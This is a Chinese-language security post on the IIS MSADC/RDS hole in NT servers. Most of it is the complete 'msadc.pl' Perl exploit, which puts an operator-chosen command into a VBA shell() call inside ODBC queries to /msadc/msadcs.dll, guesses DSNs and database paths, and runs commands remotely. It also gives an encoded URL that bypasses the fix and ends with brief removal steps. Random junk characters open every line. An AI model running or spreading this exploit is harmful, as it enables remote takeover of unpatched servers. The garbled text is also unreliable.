IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
D'823,-). A"@C }f 涉及程序：
#Mz N7 Microsoft NT server
JUlV$b.)J Sgt@G=_o 描述：
QDC]g.x 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
*?`:= _YH)E^If 详细：
FFNv'\) 如果你没有时间读详细内容的话，就删除:
e_BOzN~c c:\Program Files\Common Files\System\Msadc\msadcs.dll
J 8"Cw<=O 有关的安全问题就没有了。
uz1t uX_ h.6yI 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
^xGdRa U# In)#`E` g. 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
" (+ ># 关于利用ODBC远程漏洞的描述，请参看:
Q
b5AQf30 0 FHX http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ;q&>cnLDR uL!{xuN 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
MOFIR
wVZ+ http://www.microsoft.com/security/bulletins/MS99-025faq.asp yS#LT3>l [U ezi1I 这里不再论述。
[;D4,@A vI#\ Qe 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
eQno]$-\ Z* nC
;5Kd /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
DVRE ;+Jt 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
C2,,+* v wa W2$9O BULX*eOt #将下面这段保存为txt文件，然后: "perl -x 文件名"
_od P: gec<5Ewg #!perl
d$kGYMT" #
"W|Sh#JF # MSADC/RDS 'usage' (aka exploit) script
v-X1if1 % #
;p/RS# # by rain.forest.puppy
*\I?gDON #
7Cx%G/( # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
:p(3Ap2TY # beta test and find errors!
|S ZRO,7x @X"p"3V use Socket; use Getopt::Std;
l[l('-f getopts("e:vd:h:XR", \%args);
]0zXpMNI k(><kuJ`3 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
2r" -X E:f0NV3"1 if (!defined $args{h} && !defined $args{R}) {
y|nMCkuX print qq~
t%n1TY, Usage: msadc.pl -h <host> { -d <delay> -X -v }
pcv (P -h <host> = host you want to scan (ip or domain)
v}IkY -d <seconds> = delay between calls, default 1 second
?7'uo$ -X = dump Index Server path table, if available
/fWVgyW> 6 -v = verbose
jnYFA[Ab -e = external dictionary file for step 5
q[nX<tO amK?LDf] Or a -R will resume a command session
xpKD 'O=T +iir]"8 ~; exit;}
z"u4t.KpL vAbMU $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
'% yWz)P if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
l&(,$RmYp if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
(!& cfabL if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
h-=3 b $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
=M>1;Qr<Z/ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
b !J21cg<L G)';ucs:, if (!defined $args{R}){ $ret = &has_msadc;
ji="vs=y die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
L@2T lplEQ]J| print "Please type the NT commandline you want to run (cmd /c assumed):\n"
` =RJ8u . "cmd /c ";
#Sr_PEo
_ $in=<STDIN>; chomp $in;
iv2did4 $command="cmd /c " . $in ;
Lo\+T+n w7$*J:{ if (defined $args{R}) {&load; exit;}
ZWQrG'$?o8 p [4/Nq,c print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Yj|Oy &try_btcustmr;
v}!eJzeH dq28Y$9~ print "\nStep 2: Trying to make our own DSN...";
$J>GCY &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Fd":\7p ~Jrtm7 print "\nStep 3: Trying known DSNs...";
-Mx"ox &known_dsn;
~0,Utqy abh='5H|^| print "\nStep 4: Trying known .mdbs...";
IqJ7'X &known_mdb;
L}*:,&Y / y8'WR-; if (defined $args{e}){
2`t dH|Z` print "\nStep 5: Trying dictionary of DSN names...";
2F[smUL &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
ZdJwy% fNNkc[YTZI print "Sorry Charley...maybe next time?\n";
{L5!_] 6 exit;
Kq@n BkO4 Kq
e,p{= ##############################################################################
u[q1]] @d]I3?`
sub sendraw { # ripped and modded from whisker
ifTMoC% sleep($delay); # it's a DoS on the server! At least on mine...
:Fz;nG-G my ($pstr)=@_;
ZqT?7 |i socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
aG.j0`)% die("Socket problems\n");
99w;Q 2k if(connect(S,pack "SnA4x8",2,80,$target)){
.}n , select(S); $|=1;
k~Qb"6n2 print $pstr; my @in=<S>;
.V G$ `g" select(STDOUT); close(S);
?muI 8b return @in;
4A6D>ChB'E } else { die("Can't connect...\n"); }}
<3C ~< Pz#D9.D0 ##############################################################################
i1k(3:ay< 6REv( E] sub make_header { # make the HTTP request
/nEt%YYh;x my $msadc=<<EOT
)';Rb$<Qn POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
7Gb1[3 User-Agent: ACTIVEDATA
u3)Oj7cX Host: $ip
4+%;eY.A Content-Length: $clen
`X[L62D Connection: Keep-Alive
CA%p^ 4Q !T;*F%G9 ADCClientVersion:01.06
e+jp03m\W Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
8:^`r w4a0 -;pZC}Nd3 --!ADM!ROX!YOUR!WORLD!
9 l) .L L Content-Type: application/x-varg
d'ddxT$GG Content-Length: $reqlen
NX7(;02 td Z,sHY6 EOT
E*V UP 5E ; $msadc=~s/\n/\r\n/g;
%zj;~W;qPH return $msadc;}
jO
xH' 1I ^.bYLF ##############################################################################
!wH7;tU 4T#B7wVoM sub make_req { # make the RDS request
g7*c wu my ($switch, $p1, $p2)=@_;
I)$` @. my $req=""; my $t1, $t2, $query, $dsn;
vd 7%#sHH& J
}izTI if ($switch==1){ # this is the btcustmr.mdb query
zTi %j$o $query="Select * from Customers where City=" . make_shell();
2yqm$i9C $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
>XzCHtEP $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
5G.A\`u% J ej P91 elsif ($switch==2){ # this is general make table query
(lv|-Phc. $query="create table AZZ (B int, C varchar(10))";
#PYTFB % $dsn="$p1";}
@kU{ B ;Zsp elsif ($switch==3){ # this is general exploit table query
}W &hPC $query="select * from AZZ where C=" . make_shell();
)@ DT^#zR $dsn="$p1";}
Hbogi1!al| ;)ff Gg> elsif ($switch==4){ # attempt to hork file info from index server
)W^Wqa8mG| $query="select path from scope()";
gE8=#%1< $dsn="Provider=MSIDXS;";}
w
<zO b~\gV_Z elsif ($switch==5){ # bad query
zRyZrt,%& $query="select";
|
>x UgpQi $dsn="$p1";}
;6 aTt2BQ z,XM|-"#<K $t1= make_unicode($query);
\
B 0xL,o< $t2= make_unicode($dsn);
IQ$l!) $req = "\x02\x00\x03\x00";
2%g)0[1 $req.= "\x08\x00" . pack ("S1", length($t1));
@D K,ka( $req.= "\x00\x00" . $t1 ;
b{H&% Jx) $req.= "\x08\x00" . pack ("S1", length($t2));
)W9 $ _<Z $req.= "\x00\x00" . $t2 ;
;zI;oY#.y $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
eN]0]9JO return $req;}
vG WX= O k^gnOU ; ##############################################################################
l= 5kd.{ r-] Au - sub make_shell { # this makes the shell() statement
qA:CV(Z return "'|shell(\"$command\")|'";}
YBQ O ]3f -[OGZP`8 ##############################################################################
^!H8"CdC3 ^.jIus5 sub make_unicode { # quick little function to convert to unicode
SiHZco
I my ($in)=@_; my $out;
y]eH@:MJ;A for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
W|~Lmdzj return $out;}
1R9hA7y&,/ 7)G- EAF ##############################################################################
yNdtq\h {y=H49 sub rdo_success { # checks for RDO return success (this is kludge)
'wz*GMGWC my (@in) = @_; my $base=content_start(@in);
O-:#Q(H! if($in[$base]=~/multipart\/mixed/){
P: t|'t return 1 if( $in[$base+10]=~/^\x09\x00/ );}
20;M- Wx return 0;}
2H fP$ . a?E]-Zf ##############################################################################
YML o~j4J HH+NNSRO sub make_dsn { # this makes a DSN for us
/ow/)\/} my @drives=("c","d","e","f");
sl-LX )*N# print "\nMaking DSN: ";
sxJKu foreach $drive (@drives) {
LlL\7?_; print "$drive: ";
eSoOJ[&$ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Fgxh?Wd9 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
t`+x5*g W . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
+pc _K R $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
G+AD
&EHV return 0 if $2 eq "404"; # not found/doesn't exist
d z &| 3o if($2 eq "200") {
"Q'#V! foreach $line (@results) {
,XCC#F(d1 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
8dq{. B? } return 0;}
enlk)_btp qfvd( w ##############################################################################
kmNY
;b6Y$ >>Hsx2M sub verify_exists {
I>bLgt]u3 my ($page)=@_;
a)PBC{I my @results=sendraw("GET $page HTTP/1.0\n\n");
Fp4eGuWH# return $results[0];}
wKe^ 5|Rr )QaI{ z ##############################################################################
6Z
~>d;&9 D; H</5#Q sub try_btcustmr {
*Zy IbT my @drives=("c","d","e","f");
: aLShxKA my @dirs=("winnt","winnt35","winnt351","win","windows");
9c9-1iS 2V / A% foreach $dir (@dirs) {
>k* QkIyq print "$dir -> "; # fun status so you can see progress
5H:NY | foreach $drive (@drives) {
' IFbD["r print "$drive: "; # ditto
qD7(+a $reqlen=length( make_req(1,$drive,$dir) ) - 28;
8|{:N>7 $reqlenlen=length( "$reqlen" );
@jN!j*Y H $clen= 206 + $reqlenlen + $reqlen;
/#20`;~F) V%dMaX>^i my @results=sendraw(make_header() . make_req(1,$drive,$dir));
a3 6n}R4Q if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
6.~ HbN else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
'SY j Ehvw qc|;qP j ##############################################################################
K:z|1 V &qz&@!` sub odbc_error {
k<ku5U1| my (@in)=@_; my $base;
l6 Ze6X I my $base = content_start(@in);
x% k4Lm if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
RR{]^g51 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
aWm0*W"(@ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
ETV|;>v $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
{F6hx9? return $in[$base+4].$in[$base+5].$in[$base+6];}
)AXTi4MNp print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Zla5$GM print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
lEQ 63) Z $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
S"CsY2; A yc}uuu ##############################################################################
#~I%qa"_pa QKCc5 sub verbose {
j,/OzVm9 my ($in)=@_;
^(V!vI* return if !$verbose;
@Rig@ print STDOUT "\n$in\n";}
h\Op|#gIT Dgj`_ yd ##############################################################################
Pw1V1v&> q ([_ls8 sub save {
%&c[g O!Za my ($p1, $p2, $p3, $p4)=@_;
?q7V B open(OUT, ">rds.save") || print "Problem saving parameters...\n";
9j49#wG0"B print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
llhJ,w D close OUT;}
*1ekw#' qdCa]n! d ##############################################################################
>sm<
< gVb 1'"o; a]k/ sub load {
B*zb0hdo: my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
N j %!N open(IN,"<rds.save") || die("Couldn't open rds.save\n");
)$P!7$C- @p=<IN>; close(IN);
p"Oi83w;9 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
M< *5Y43 $target= inet_aton($ip) || die("inet_aton problems");
#i7! print "Resuming to $ip ...";
kej@,8 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Rr^<Q:#"<| if($p[1]==1) {
$T^O3 8$ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
] \4-e2N`\ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
jsf=S{^2 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
}{ pNasAU if (rdo_success(@results)){print "Success!\n";}
ykRKZYfsw( else { print "failed\n"; verbose(odbc_error(@results));}}
pb{'t2kk elsif ($p[1]==3){
8/-GrdyE if(run_query("$p[3]")){
O2:m)@ print "Success!\n";} else { print "failed\n"; }}
k>K23(X elsif ($p[1]==4){
. m7iXd{ if(run_query($drvst . "$p[3]")){
{3$ge print "Success!\n"; } else { print "failed\n"; }}
qX0IHe exit;}
jzI\Q{[m' A0oC*/ ##############################################################################
_&XT
=SW} .o:Pe2C sub create_table {
< hZA$.W3 my ($in)=@_;
o8KlY? hX $reqlen=length( make_req(2,$in,"") ) - 28;
[uc;M6o}? $reqlenlen=length( "$reqlen" );
`;hs Ofo $clen= 206 + $reqlenlen + $reqlen;
6IPhy.8 my @results=sendraw(make_header() . make_req(2,$in,""));
+TpM7QaL return 1 if rdo_success(@results);
J^
P/2a#a my $temp= odbc_error(@results); verbose($temp);
iq 5h[ return 1 if $temp=~/Table 'AZZ' already exists/;
nvu |V3B0 return 0;}
?j ?{} Z , j'=sDl ##############################################################################
OrPIvP<w@ .Ky<9h.K sub known_dsn {
R@=ve
%a- # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
+SrE my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
<H}"xp)j0 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
_UjAct]6
"banner", "banners", "ads", "ADCDemo", "ADCTest");
KT{ <iz_ }s}b ]v foreach $dSn (@dsns) {
d+fmVM?p print ".";
+3s i=x\=/ next if (!is_access("DSN=$dSn"));
@r+ErFI if(create_table("DSN=$dSn")){
`Wn0v2@a(~ print "$dSn successful\n";
dvyE ._/v if(run_query("DSN=$dSn")){
+]I;C print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
O5Yk=-_m print "Something's borked. Use verbose next time\n";}}} print "\n";}
%+gze|J rU<
H7U ##############################################################################
zi-zg Lx *S~. KW [ sub is_access {
cp0>Euco= my ($in)=@_;
XLqS{r~? $reqlen=length( make_req(5,$in,"") ) - 28;
,EcmMI^A $reqlenlen=length( "$reqlen" );
k VkV~ $clen= 206 + $reqlenlen + $reqlen;
87~. |nu my @results=sendraw(make_header() . make_req(5,$in,""));
CyzvQfpZ r my $temp= odbc_error(@results);
>bz}IcZP verbose($temp); return 1 if ($temp=~/Microsoft Access/);
FxM`$n~K return 0;}
4{CVBowi Y&Pi`E9= ##############################################################################
T QE 3/I L K+ ufcct sub run_query {
q$:T<mFK$ my ($in)=@_;
=zqOkC
h$ $reqlen=length( make_req(3,$in,"") ) - 28;
%
eW>IN]5 $reqlenlen=length( "$reqlen" );
Fd5{ pM3 $clen= 206 + $reqlenlen + $reqlen;
K`(STvtM my @results=sendraw(make_header() . make_req(3,$in,""));
vB/M nEKR return 1 if rdo_success(@results);
ouVR[ w>V my $temp= odbc_error(@results); verbose($temp);
B
wtD!de$ return 0;}
"JJ )w0 U>:CX
XHRt ##############################################################################
:'1 eP q *ubLuC+b sub known_mdb {
`o /tpuI my @drives=("c","d","e","f","g");
^Bm9y R my @dirs=("winnt","winnt35","winnt351","win","windows");
{r[ *}Bv
my $dir, $drive, $mdb;
)"t =sFxaB my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
cU%#oEMf< -a&wOn-W # this is sparse, because I don't know of many
y ?4|jN my @sysmdbs=( "\\catroot\\icatalog.mdb",
<X|"5/h "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
( zk'i13#6 "\\system32\\certmdb.mdb",
'PV,c|f> "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
s67$tlV
S3)JEZi my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
kj@#oLd% "\\cfusion\\cfapps\\forums\\forums_.mdb",
;\4}Hcg "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
@h l5^d"l "\\cfusion\\cfapps\\security\\realm_.mdb",
Gp@Y=m U "\\cfusion\\cfapps\\security\\data\\realm.mdb",
jpm}EOq<% "\\cfusion\\database\\cfexamples.mdb",
3"I 1'+ "\\cfusion\\database\\cfsnippets.mdb",
cO)GiWE "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
dL 6sb;7R "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
'qQ DM_+ "\\cfusion\\brighttiger\\database\\cleam.mdb",
F ypqf| "\\cfusion\\database\\smpolicy.mdb",
& [R&@l Y "\\cfusion\\database\cypress.mdb",
s![=F}ck "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
CEqfsKrsxE "\\website\\cgi-win\\dbsample.mdb",
7D 9R^\K "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
z7HC6{g% X "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
2=F_<Jh|+ ); #these are just
Yk?ux Z4)H foreach $drive (@drives) {
rAP+nh ans foreach $dir (@dirs){
8V=I[UF.1? foreach $mdb (@sysmdbs) {
`1M_rG1/+ print ".";
Q `r1pO if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
+n2x@ 0op print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
9L!V j J if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
//H+S
q66 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
/*r MveT } else { print "Something's borked. Use verbose next time\n"; }}}}}
Oo rH i,;Q foreach $drive (@drives) {
Srol0D I foreach $mdb (@mdbs) {
6 u8`,& U print ".";
Y$oBsg\v if(create_table($drv . $drive . $dir . $mdb)){
f 4!^0%l print "\n" . $drive . $dir . $mdb . " successful\n";
F^`sIrZvs if(run_query($drv . $drive . $dir . $mdb)){
e|+uLbN&;c print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
~@itZ,d\ } else { print "Something's borked. Use verbose next time\n"; }}}}
kIXLB!L2b^ }
=YLt ?5|e IO v4Zx<) ##############################################################################
:*}tkr4&eh qDcl;{L sub hork_idx {
Y`lC4 * g print "\nAttempting to dump Index Server tables...\n";
$JX_e print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
0qR;Z{k $reqlen=length( make_req(4,"","") ) - 28;
?;^_%XSQ* $reqlenlen=length( "$reqlen" );
4:6@9.VVT $clen= 206 + $reqlenlen + $reqlen;
ap;*qiNFQ my @results=sendraw2(make_header() . make_req(4,"",""));
(Ca\$p7/ if (rdo_success(@results)){
j
q1qj9KZ my $max=@results; my $c; my %d;
W]6Y
buP: for($c=19; $c<$max; $c++){
"#[Y[t\Ia $results[$c]=~s/\x00//g;
DPy"FQYZ b $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
Z~$& h $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
7(gQ6?KsZ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
`33h4G $d{"$1$2"}="";}
/V&$SRdL* foreach $c (keys %d){ print "$c\n"; }
Kj-:' jzW } else {print "Index server doesn't seem to be installed.\n"; }}
;y"E}h $9Z8P_^.0( ##############################################################################
W e9C9)0 ''f sub dsn_dict {
W d Ir 3 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
<=19KSGFt while(<IN>){
m0 =CD $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
=>S5}6 next if (!is_access("DSN=$dSn"));
O- r"G if(create_table("DSN=$dSn")){
)G*H l^Z;4 print "$dSn successful\n";
o
@&#*3<_e if(run_query("DSN=$dSn")){
r,yhc = print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
].:S!QO print "Something's borked. Use verbose next time\n";}}}
x x9qi^
print "\n"; close(IN);}
oVmGZhkA@' J0|/g2%0 ##############################################################################
OBb ]^aece
t sub sendraw2 { # ripped and modded from whisker
vK2L"e sleep($delay); # it's a DoS on the server! At least on mine...
a*%>H( x my ($pstr)=@_;
;QgJw2G socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
gX6'!}G8] die("Socket problems\n");
_W?}%; if(connect(S,pack "SnA4x8",2,80,$target)){
,|T
print "Connected. Getting data";
u-j Gv| ,| open(OUT,">raw.out"); my @in;
i:{a-Bd select(S); $|=1; print $pstr;
H!oP!rzEo while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
H> _%ZXL close(OUT); select(STDOUT); close(S); return @in;
X "1q$xwc } else { die("Can't connect...\n"); }}
*qKwu?]?> Ybd){Je"z ##############################################################################
Mb?6c y[ =%$ _)=}J sub content_start { # this will take in the server headers
\JN< "/ my (@in)=@_; my $c;
1 ht4LRFi for ($c=1;$c<500;$c++) {
h r t\ if($in[$c] =~/^\x0d\x0a/){
`iQyKZS/+ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
i"|'p/9@q else { return $c+1; }}}
w*Kw#m 'U return -1;} # it should never get here actually
eMWY[f3 PO |p53 ##############################################################################
Ak>RLD25_ f N t sub funky {
8]2S'm xE my (@in)=@_; my $error=odbc_error(@in);
}54\NSj0 if($error=~/ADO could not find the specified provider/){
(Dc dR:/= print "\nServer returned an ADO miscofiguration message\nAborting.\n";
inR8m 4c]P exit;}
iM} cd$r{ if($error=~/A Handler is required/){
"$
u"Py print "\nServer has custom handler filters (they most likely are patched)\n";
5l{_E:.1 exit;}
8kO|t!?:U if($error=~/specified Handler has denied Access/){
.Jou09+ print "\nServer has custom handler filters (they most likely are patched)\n";
PT>,:zY exit;}}
Xo]FOJ 5 7J0 PO}N ##############################################################################
:/
"q NPJ :vV?Yv%P)n sub has_msadc {
?WU u@Z my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
3 Mk F my $base=content_start(@results);
*B@<{x r return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
&z% 7Nu return 0;}
H(
cY=d, p?6w/ n ########################
JX>_ imo
[&)9|EV . 5_w^4`b 解决方案：
CUY2eQJ{U 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
Y }e$5 2、移除web 目录: /msadc
